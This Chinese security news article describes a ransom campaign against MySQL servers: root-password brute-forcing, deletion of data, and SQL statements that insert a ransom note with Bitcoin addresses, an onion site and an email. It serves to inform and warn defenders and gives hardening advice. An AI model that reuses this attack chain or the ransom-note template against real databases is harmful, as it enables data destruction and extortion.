攻击以“root”密码暴力破解开始,一旦成功登陆,该黑客会获取已有MySQL数据库及其表的列表,TA在已有的数据库中新建一个名为WARNING的表,插入信息包括一个邮箱地址、比特币地址和支付需求。

还有一种情况是,该黑客会新建一个名为 ‘PLEASE_READ’的数据库再添加WARNING表,然后删除存储在服务器和本地数据库,有时甚至不转存任何数据。

incident_summary2-1500x498.png

两种攻击版本

以下是两种版本的勒索信息:

INSERT INTO PLEASE_READ.`WARNING`(id, warning, Bitcoin_Address, Email) VALUES(‘1′,’Send 0.2 BTC to this address and contact this email with your ip or db_name of your server to recover your database! Your DB is Backed up to our servers!’, ‘1ET9NHZEXXQ34qSP46vKg8mrWgT89cfZoY’, ‘[email protected]’)
INSERT INTO `WARNING`(id, warning)VALUES(1, ‘SEND 0.2 BTC TO THIS ADDRESS 1Kg9nGFdAoZWmrn1qPMZstam3CXLgcxPA9 AND GO TO THIS SITE http://sognd75g4isasu2v.onion/ TO RECOVER YOUR DATABASE! SQL DUMP WILL BE AVAILABLE AFTER PAYMENT! To access this site you have use the tor browser https://www.torproject.org/projects/torbrowser.html.en’)

在第一个版本中,勒索者的邮箱地址是‘[email protected]’。到了第二个版本,TA给受害者提供了一个暗网地址‘http://sognd75g4isasu2v.onion/’来恢复他们的数据。在两个不同的版本中,攻击者给出的比特币钱包也不一样,分别是 1Kg9nGFdAoZWmrn1qPMZstam3CXLgcxPA91ET9NHZEXXQ34qSP46vKg8mrWgT89cfZoY

GuardiCore的专家表示:

我们不能确定这个做法是否是攻击者想让受害者相信支付赎金能恢复数据。

Tor-Site.png

请确保你的数据还在对方手中

0.2比特币似乎已成了国际惯例,先前有不少企业选择支付赎金的方式息事宁人。

建议受害者在决定支付之前检查日志,并查看攻击者是否手握获取你们的数据。

如果公司真的决定支付赎金,支付前应当询问对方是否真的有你们的数据。

总结

0.2比特币、成百上千的数据库被入侵、WARNING勒索信息等线索不由让人联想到先前被屠戮的MongoDB,不知这次的MySQL是否会成为第二个MongoDB。

这不是MySQL服务器第一次被勒索。2015年发生了同样的事,当时攻击者使用未修复的phpBB论坛劫持了数据库并对网站进行勒索,史称RansomWeb攻击。

如果IT团队遵循安全规范操作比如使用自动化服务器备份系统并且删除MySQL root 帐户或者至少使用强且难以被暴力破解的密码,就不会发生这种事。

MySQL数据库被勒索攻击的事件不容小嘘,瞬间暴涨的被勒索MongoDB数据库数量就是前车之鉴。(文章回顾传送门

*参考来源:bleepingguardicore,FB小编bimeover编译,转载请注明来自Freebuf.COM